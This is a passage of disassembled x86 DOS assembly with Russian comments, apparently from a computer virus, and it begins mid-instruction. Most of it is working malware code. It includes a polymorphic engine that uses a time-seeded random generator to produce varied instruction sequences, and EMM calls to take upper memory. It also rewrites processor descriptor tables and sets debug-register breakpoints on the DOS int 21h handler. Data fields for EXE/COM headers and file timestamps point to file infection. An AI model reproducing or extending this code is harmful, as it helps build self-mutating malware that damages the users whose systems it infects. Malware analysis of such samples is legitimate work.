PTR ds:d0009c,00 ;00a78 jz b00ab6 ;00a7d ;Jump if equal (ZF=1) mov bx,WORD PTR ds:data_94 ;00a7f mov ax,WORD PTR [si] ;00a83 stosw ;00a85 ;Store AX at ES:[DI] mov ax,WORD PTR [si+02] ;00a86 mov WORD PTR [bx],ax ;00a89 mov ax,WORD PTR ds:d0009c ;00a8b add ax,WORD PTR ds:d000b2 ;00a8e sub ax,WORD PTR ds:d000b4 ;00a92 stosw ;00a96 ;Store AX at ES:[DI] mov ax,WORD PTR ds:d0009e ;00a97 dec ax ;00a9a mov WORD PTR [bx+02],ax ;00a9b mov al,0ffh ;00a9e call get_key ;<00d8d> ;00aa0 stosb ;00aa3 ;Store AL at ES:[DI] mov BYTE PTR [bx+04],al ;00aa4 add WORD PTR ds:data_94,05 ;00aa7 mov BYTE PTR [bx+05],0c3h ;00aac mov WORD PTR ds:d0009c,0000h ;00ab0 b00ab6: ret ;00ab6 ;----------------------------------------------------- data100 db 80,30,80,30,80,00 ;00ab7 .0.0.. db 80,28,0c0,00,0c0,08 ;00abd .(.... db 0d0,00,0d0,08,0f6,18 ;00ac3 ...... db 0f6,18,0fe,00,0fe,08 ;00ac9 ...... db 80,06,80,06 ;00acf .... ;----------------------------------------------------- s9 endp ;<00ad3> s10 proc near mov ax,0004h ;00ad3 call get_key ;<00d8d> ;00ad6 mov si,offset data_68 ; (83DC:0B26=0) xchg al,ah aad 3 ; undocumented inst add si,ax lodsb ; String [si] to al shl ax,1 ; Shift w/zeros fill xchg bx,ax call word ptr data_66[bx] ;*(83DC:0AEB=0AEFh) 2 entries data_66 dw offset sub_12 ; Data table (indexed access) (0AEF) data_67 dw offset sub_13 ; (0AF9) sub_12 proc near movsw ; Mov [si] to es:[di] or [di-1],dl xchg bp,ax stosw ; Store ax to es:[di] call s12 ; (0B3E) retn sub_12 endp sub_13 proc near push si push dx mov ax,2 call sub_30 ; (0D8D) shl ax,1 ; Shift w/zeros fill add ax,0B32h xchg si,ax movsw ; Mov [si] to es:[di] or [di-1],dl shl dl,3 ; Shift w/zeros fill or [di-1],dl shr cx,1 ; Shift w/zeros fill push cx push bp call s13 ; (0B3E) pop bp pop cx pop dx pop si movsw ; Mov [si] to es:[di] or [di-1],dl xchg bp,ax stosw ; Store ax to es:[di] call s13 ; (0B3E) retn sub_13 endp ;----------------------------------------------------- data_68 db 00,0c7,0c0,01,81,0c8 ;00b26 ...... db 01,81,0c0,01,81,0f0 ;00b2c ...... db 29,0c0 ;00b32 ). ;----------------------------------------------------- xor ax,ax ;00b34 ;<00b36> s11 proc near mov ax,WORD PTR ds:d000a4 ;00b36 call get_key ;<00d8d> ;00b39 xchg ax,cx ;00b3c ret ;00b3d s11 endp ;<00b3e> s12 proc near and cx,cx ;00b3e jnz b00b43 ;00b40 ;Jump not equal(ZF=0) ret ;00b42 b00b43: mov si,offset fun11 ;00b43 m00b46: mov ax,001fh ;00b46 call get_key ;<00d8d> ;00b49 mov dl,al ;00b4c inc dl ;00b4e b00b50: mov al,BYTE PTR [si] ;00b50 cmp al,4eh ;(N) ;00b52 jnz b00b5b ;00b54 ;Jump not equal(ZF=0) mov si,offset fun11 ;00b56 jmp short b00b50 ;00b59 b00b5b: mov dh,al ;00b5b and al,0fh ;00b5d cbw ;00b5f ;Convrt AL into AX and dl,dl ;00b60 jz b00b71 ;00b62 ;Jump if equal (ZF=1) dec dl ;00b64 shr dh,04 ;00b66 add al,dh ;00b69 add si,ax ;00b6b inc si ;00b6d inc si ;00b6e jmp short b00b50 ;00b6f b00b71: push cx ;00b71 sub cx,ax ;00b72 test ch,80h ;00b74 ;Flags=Arg1 AND Arg2 pop cx ;00b77 jnz m00b46 ;00b78 ;Jump not equal(ZF=0) mov WORD PTR ds:d00d74,cx ;00b7a mov bl,BYTE PTR [si+01] ;00b7e cmp BYTE PTR ds:d00d72,bl ;00b81 ja m00b46 ;00b85 ;Jump if > (no sign) mov bh,bl ;00b87 test bl,40h ;00b89 ;Flags=Arg1 AND Arg2 jnz b00b95 ;00b8c ;Jump not equal(ZF=0) cmp BYTE PTR ds:d00d7a,01 ;00b8e jz m00b46 ;00b93 ;Jump if equal (ZF=1) b00b95: push ax ;00b95 mov ax,003fh ;00b96 and bl,al ;00b99 call get_key ;<00d8d> ;00b9b cmp bl,al ;00b9e pop ax ;00ba0 jb m00b46 ;00ba1 ;Jump if < (no sign) inc si ;00ba3 push si ;00ba4 push cx ;00ba5 xor bx,bx ;00ba6 ;Load register w/ 0 mov bl,dh ;00ba8 and bl,0f0h ;00baa shr bl,04 ;00bad inc bx ;00bb0 mov cx,ax ;00bb1 push si ;00bb3 push di ;00bb4 add si,bx ;00bb5 repz movsb ;00bb7 ;Mov DS:[SI]->ES:[DI] pop di ;00bb9 pop si ;00bba mov cx,bx ;00bbb dec cx ;00bbd jcxz b00bdb ;00bbe ;Jump if CX = ZERO b00bc0: inc si ;00bc0 mov al,BYTE PTR [si] ;00bc1 mov dl,al ;00bc3 and al,0fh ;00bc5 cbw ;00bc7 ;Convrt AL into AX mov bp,ax ;00bc8 mov al,dl ;00bca and al,0f0h ;00bcc shr al,03 ;00bce mov bx,ax ;00bd1 add bx,0c12h ;00bd3 call WORD PTR [bx] ;00bd7 loop b00bc0 ;00bd9 ;Dec CX;Loop if CX>0 b00bdb: pop cx ;00bdb pop si ;00bdc mov al,dh ;00bdd and al,0fh ;00bdf cbw ;00be1 ;Convrt AL into AX shr dh,04 ;00be2 sub cx,ax ;00be5 add di,ax ;00be7 add al,dh ;00be9 add si,ax ;00beb inc si ;00bed mov al,BYTE PTR ds:d00d72 ;00bee and al,al ;00bf1 jz b00c06 ;00bf3 ;Jump if equal (ZF=1) test al,80h ;00bf5 ;Flags=Arg1 AND Arg2 jnz b00c06 ;00bf7 ;Jump not equal(ZF=0) add cx,di ;00bf9 mov di,WORD PTR ds:d0009a ;00bfb sub cx,di ;00bff mov BYTE PTR ds:d00d72,00 ;00c01 b00c06: and cx,cx ;00c06 jz b00c0d ;00c08 ;Jump if equal (ZF=1) jmp m00b46 ;00c0a b00c0d: mov WORD PTR ds:d0009a,di ;00c0d ret ;00c11 s12 endp ;----------------------------------------------------- dw offset fun01 dw offset fun02 dw offset s14 dw offset fun03 dw offset s15 dw offset fun04 dw offset fun05 dw offset fun06 dw offset fun01 dw offset fun07 dw offset fun08 dw offset fun09 dw offset fun10 ;----------------------------------------------------- fun01: mov al,0ffh ;00c2c call get_key ;<00d8d> ;00c2e mov BYTE PTR es:[bp+di],al ;00c31 test dl,80h ;00c34 ;Flags=Arg1 AND Arg2 jz b00c42 ;00c37 ;Jump if equal (ZF=1) mov al,0ffh ;00c39 call get_key ;<00d8d> ;00c3b mov BYTE PTR es:[bp+di+01],al ;00c3e b00c42: ret ;00c42 ;<00c43> s13 proc near mov al,0f0h ;00c43 call get_key ;<00d8d> ;00c45 and al,80h ;00c48 mov ah,al ;00c4a shr al,1 ;00c4c ;Divide by 2's or al,ah ;00c4e or BYTE PTR es:[bp+di],al ;00c50 ret ;00c53 s13 endp ;<00c54> s14: mov al,0f0h ;00c54 call get_key ;<00d8d> ;00c56 and al,07 ;00c59 cmp al,BYTE PTR ds:d00d76 ;00c5b jz s14 ;<00c54> ;00c5f ;Jump if equal (ZF=1) cmp al,BYTE PTR ds:d00d78 ;00c61 jz s14 ;<00c54> ;00c65 ;Jump if equal (ZF=1) push ax ;00c67 and al,03 ;00c68 cmp al,BYTE PTR ds:d00d77 ;00c6a pop ax ;00c6e jz s14 ;<00c54> ;00c6f ;Jump if equal (ZF=1) or BYTE PTR es:[bp+di],al ;00c71 mov BYTE PTR ds:d000b6,al ;00c74 ret ;00c77 ;----------------------------------------------------- fun04: mov al,06 ;00c78 call get_key ;<00d8d> ;00c7a add BYTE PTR es:[bp+di],al ;00c7d ret ;00c80 ;<00c81> s15: mov al,80h ;00c81 call get_key ;<00d8d> ;00c83 and al,07 ;00c86 cmp al,06 ;00c88 jz s15 ;<00c81> ;00c8a ;Jump if equal (ZF=1) or BYTE PTR es:[bp+di],al ;00c8c ret ;00c8f ;----------------------------------------------------- fun03: call s13 ;<00c43> ;00c90 call s15 ;<00c81> ;00c93 ret ;00c96 ;----------------------------------------------------- fun05: call s14 ;<00c54> ;00c97 sal BYTE PTR es:[bp+di],03 ;00c9a call s15 ;<00c81> ;00c9e call s13 ;<00c43> ;00ca1 ret ;00ca4 ;----------------------------------------------------- fun02: mov al,0fh ;00ca5 call get_key ;<00d8d> ;00ca7 sal al,03 ;00caa or BYTE PTR es:[bp+di],al ;00cad call s14 ;<00c54> ;00cb0 ret ;00cb3 ;----------------------------------------------------- fun06: mov al,10h ;00cb4 call get_key ;<00d8d> ;00cb6 or BYTE PTR es:[bp+di-01],al ;00cb9 mov ax,WORD PTR ds:d00d74 ;00cbd dec ax ;00cc0 dec ax ;00cc1 call get_key ;<00d8d> ;00cc2 and ax,003fh ;00cc5 mov BYTE PTR es:[bp+di],al ;00cc8 cbw ;00ccb ;Convrt AL into AX pusha ;00ccc mov cx,ax ;00ccd or al,80h ;00ccf mov BYTE PTR ds:d00d72,al ;00cd1 add di,bp ;00cd4 inc di ;00cd6 call s12 ;<00b3e> ;00cd7 and BYTE PTR ds:d00d72,7fh ;00cda popa ;00cdf ret ;00ce0 ;----------------------------------------------------- fun07: mov bl,BYTE PTR es:[bp+di] ;00ce1 mov BYTE PTR es:[bp+di],00 ;00ce4 call s14 ;<00c54> ;00ce8 sal BYTE PTR es:[bp+di],03 ;00ceb or BYTE PTR es:[bp+di],bl ;00cef ret ;00cf2 ;----------------------------------------------------- fun09: mov al,BYTE PTR ds:d000b6 ;00cf3 or BYTE PTR es:[bp+di],al ;00cf6 ret ;00cf9 ;----------------------------------------------------- fun08: mov ax,di ;00cfa sub ax,WORD PTR ds:d000b4 ;00cfc add ax,WORD PTR ds:d000b2 ;00d00 add WORD PTR es:[bp+di],ax ;00d04 ret ;00d07 ;----------------------------------------------------- fun10: mov al,BYTE PTR ds:d000b6 ;00d08 sal al,03 ;00d0b or BYTE PTR es:[bp+di],al ;00d0e ret ;00d11 ;----------------------------------------------------- fun11: and di,di ;00d12 xor WORD PTR [bp+si],ax ;00d14 test BYTE PTR [bx+si],00 ;00d16 ;Flags=Arg1 AND Arg2 adc di,di ;00d19 push ax ;00d1b clc ;00d1c adc bh,BYTE PTR [bx+71h] ;00d1d jo b00d22 ;00d20 ;Jump on Overflow b00d22: and al,0ffh ;00d22 adc WORD PTR [bp+si+0c081h],ax ;00d24 add BYTE PTR [bx+si],al ;00d28 adc di,di ;00d2a and BYTE PTR [bx+si+11h],cl ;00d2c jmp WORD PTR [bx+si] ;00d2f nop ;00d31 adc bh,bh ;00d32 adc cx,dx ;00d34 rcl BYTE PTR [bx+di],0ffh ;00d36 and BYTE PTR [bx+si+0ff12h],dl ;00d39 and di,si ;00d3d fcom DWORD PTR [bp+si] ;00d3f jmp WORD PTR [bx+di+38h] ;00d41 add BYTE PTR [bp+di],ah ;00d44 jmp WORD PTR [bx+si] ;00d46 cmp WORD PTR [bx+si+0000],0ff11h ;00d48 and BYTE PTR [bx+si+12h],al ;00d4e inc WORD PTR [bx+di] ;00d51 in al,00 ;00d53 ;000-007:DMA controller 1 and al,0ffh ;00d55 xchg ax,cx ;00d57 or BYTE PTR [bp+si+0006],00 ;00d58 xor ax,41ffh ;00d5d add BYTE PTR [si],80h ;00d60 mov ax,0000h ;00d63 add BYTE PTR [bp+si],dl ;00d66 jmp WORD PTR [bx+di] ;00d68 ;----------------------------------------------------- db 0f7,0d0,12,0ff,61,0a ;00d6a ....a. db 00,4e ;00d70 .N d00d72 db 00,00 ;00d72 .. d00d74 db 00,00 ;00d74 .. d00d76 db 04 ;00d76 . d00d77 db 81 ;00d77 . d00d78 db 86,80 ;00d78 .. d00d7a db 00 ;00d7a . ;----------------------------------------------------- ;<00d7b> GetTime proc near pusha ;схоронить mov ah,2ch ;взять время call DOSInt ;int21 mov WORD PTR cs:HHMM,cx ;часы,минуты mov WORD PTR cs:SSMS,dx ;секунды,доли сек popa ;вернуть ret ;отвалить GetTime endp ;<00d8d> get_key proc near pusha call alter_time mov bx,sp ;bx на стек mov cx,dx ;00d93 mul WORD PTR ss:[bx+0eh] ;00d95 mov ax,cx ;00d99 mov cx,dx ;00d9b mul WORD PTR ss:[bx+0eh] ;00d9d add ax,cx ;00da1 adc dx,00 ;00da3 mov WORD PTR ss:[bx+0eh],dx ;00da6 popa ret get_key endp ;<00dac> alter_time proc near mov ax,WORD PTR cs:HHMM ;00dac mov bx,WORD PTR cs:SSMS ;00db0 mov cx,ax ;00db5 mul WORD PTR cs:data_90 ;00db7 sal cx,03 ;00dbc add ch,cl ;00dbf add dx,cx ;00dc1 add dx,bx ;00dc3 sal bx,02 ;00dc5 add dx,bx ;00dc8 add dh,bl ;00dca sal bx,05 ;00dcc add dh,bl ;00dcf add ax,0001h ;00dd1 adc dx,00 ;00dd4 mov WORD PTR cs:HHMM,ax ;00dd7 mov WORD PTR cs:SSMS,dx ;00ddb ret alter_time endp ;----------------------------------------------------- data_90 dw 8405h ; de1 xref 83DC:0DB7 HHMM dw 0 ; de3 xref 83DC:089A, 08AD, 0D81, 0DAC,0DD7 SSMS dw 0 ; de5 xref 83DC:089E, 08A9, 0D86, 0DB0,0DDB data_93 dw 84h ; de7 xref 83DC:09F2, 09F9, 0A0C, 0A39,0A58, 0A72 data_94 dw 84h ; de9 xref 83DC:0A12, 0A7F, 0AA7 ;------------------------------------------------------ is_time: call set_ds mov ax,ss mov es,ax mov si,WORD PTR cs:AdrPages ;в нашей страничке mov BYTE PTR [esi+busy],00 ;заняты mov esp,DWORD PTR cs:d00044 ;из стека параметр mov edi,esp ;грузим mov ecx,00000011h ;1-ые 44 байта кода cld ;Forward String Opers repz movsd ;эмулим pushad? push ds ;es pop es ;на место xor ebp,ebp ;1-ый дескриптор mov esi,00000090h ; load_desc: ;берем старый mov edx,DWORD PTR cs:[AdrPages+10h+ebp*4] call desc_edx inc esi ;далее inc bp ;сл.дескриптор cmp bp,03 ;3 дескриптора jnz load_desc ;нет-продолжим end_21: xor ax,ax ;Load register w/ 0 mov ds,ax mov es,ax popad iretd ;POP flags and Return ;<00e3e> desc_edx proc near ;установить дескриптор в edx mov edi,DWORD PTR cs:ram_page ;в ОЗУ mov ebx,DWORD PTR [edi+esi*4] ;вытаскиваем mov dl,67h ;в памяти mov DWORD PTR [edi+esi*4],edx ;кладем mov ax,cr3 mov cr3,ax ret desc_edx endp ;<00e57> GetUMB proc near movzx ebx,WORD PTR ds:TSR_CS ;16cs -> 32cs sal ebx,04 ;выравниваем add ebx,00000f4fh ;за себя mov DWORD PTR ds:CS_32,ebx ;куда-то за код add ebx,06 ;00e6d add DWORD PTR ds:Seg_32,ebx ;00e71 mov cx,WORD PTR ds:Buf_GDT ;берем таблицу mov es,cx ;сохраняем shr cx,08 ;номер страницы mov ax,0de06h ;получить физ.адрес страницы call EMMInt ;в первом метре mov DWORD PTR ds:UMB1,edx mov ax,0de06h ;еще одну mov cx,es ;другой shr cx,08 ;номер inc cx call EMMInt ;int67 or dl,07 ;чуть сдвинем mov DWORD PTR es:UMB2,edx ;и запомним в UMB1 ret GetUMB endp ;<00ea0> EMMInt proc near int 67h ;00ea0 ;функция EMM: and ah,ah ;ошибки jz EMMOk ;есть? pop ax ;00ea6 jmp NotEMM ;00ea7 EMMOk: ret ;00eaa EMMInt endp ;<00eab> SetDesc proc near ;устанавливает дескриптор таблицы ;ds:esi-адрес таблицы ;ax - смещение дескриптора ;ebx - 20 разрядный предел ;ecx - 32 разрядная база ;dl - 0(доступ),1-3(код или данные),4(системный сег-т) ; 5-6(DPL),7(присутсвие в ОЗУ) ;dh - 6(разрядность),7(в чем предел) movzx eax,ax ;16ax->32ax ;устанавливаем мл.слово дескриптора(предел,база) mov WORD PTR [esi+eax],bx ;предел 0-15 shr ebx,10h ;получаем ст.байт размера mov WORD PTR [esi+eax+02],cx ;база 0-15 shr ecx,10h ;ст.байт базы mov BYTE PTR [esi+eax+04],cl ;база 16-23 mov BYTE PTR [esi+eax+05],dl ;A,тип,S,DPL,P and bl,0fh ;только мл.тэтрада or dh,bl ;AVL,G+предел 16-19 mov BYTE PTR [esi+eax+06],dh ;запомнили mov BYTE PTR [esi+eax+07],ch ;база 24-31 ret SetDesc endp ;<00eda> set_brk proc near mov eax,DWORD PTR cs:int21adr ;останов на DOS mov dr0,ax mov eax,000fe05bh ;останов на BIOS mov dr1,ax xor eax,eax ;00eeb ;никаких mov dr6,ax ;условий mov eax,0000020ah ;разрешить mov dr7,ax ;останов ret set_brk endp ;<00efb> set_ds proc near mov ax,cs ;00efb add ax,0008h ;00efd mov ds,ax ;00f00 ret ;00f02 set_ds endp ;<00f03> set_idt proc near ;переделываем старый IDT mov esi,DWORD PTR es:OldIDT+2 ;база mov bx,WORD PTR [esi+ecx*8+06] ;база ecx дескриптора sal ebx,10h ;базу в ст.слово mov bx,WORD PTR [esi+ecx*8] ;мл.слово базы mov DWORD PTR es:[di],ebx ;полученное в ячею mov bx,WORD PTR [esi+ecx*8+02] ;предел mov WORD PTR es:[di+04],bx ;полученное в ячею mov bx,WORD PTR es:OurDesc ;берем номер дескр. mov WORD PTR [esi+ecx*8+02],bx ;устанавливаем предел mov WORD PTR [esi+ecx*8],ax ;устанавливаем mov WORD PTR [esi+ecx*8+06],0 ;базу ret ;----------------------------------------------------- UMB1 dd 00 ;00f39 .... CS_32 dd 00 ;00f3d .... Seg_32 db 6d dup (00h) ;00f41 (.) db 28,00,1bh,04,00,00 ;00f47 (..... db 08,00,47,00 ;00f4d ..G. d00f51 db 00,00,00,00,0ff,0ff ;00f51 ...... db 00,00,00,00 ;00f57 .... exe_or_com db 00 ;00f5b . cs_save dw 00 ;00f5c .. BufPages dd 00 ;00f5e db 30,00 ;00f62 0. len_par dw 00 ;00f64 .. set_idt endp UMB2 equ 000000h d00003 equ 000003h d0000a equ 00000ah d0002c equ 00002ch d00044 equ 000044h d00084 equ 000084h d00086 equ 000086h d00094 equ 000094h time_file equ 000096h date_file equ 000098h d0009a equ 00009ah d0009c equ 00009ch d0009e equ 00009eh d000a0 equ 0000a0h d000a2 equ 0000a2h d000a4 equ 0000a4h d000aa equ 0000aah d000ac equ 0000ach d000ae equ 0000aeh d000af equ 0000afh d000b2 equ 0000b2h d000b4 equ 0000b4h d000b6 equ 0000b6h int20 equ 0000b7h int1_ptr equ $ ;000f66h int9_ptr equ int1_ptr+6 ;000f6ch int21adr equ int9_ptr+6 ;000f72h TSR_CS equ int21adr+4 ;000f76h OurDesc equ TSR_CS+2 ;000f78h AdrPages equ OurDesc+2 ;000f7ah Buf_GDT equ AdrPages+4*7 ;000f96h busy equ BufGDT+2 ;000f98h ram_page equ busy+1 ;000f99h OldGDT equ ram_page+4 ;000f9dh OldIDT equ OldGDT+6 ;000fa3h d00fa5 equ OldIDT+2 ;000fa5h d0109d equ 00109dh d0109f equ 00109fh buf_file equ 002000h PageCnt equ buf_file+4 ;002004h ReloCnt equ buf_file+6 ;002006h HdrSize equ buf_file+8 ;002008h MaxMem equ buf_file+0ch ;00200ch TablOff equ buf_file+18h ;002018h cseg ends end o00100 |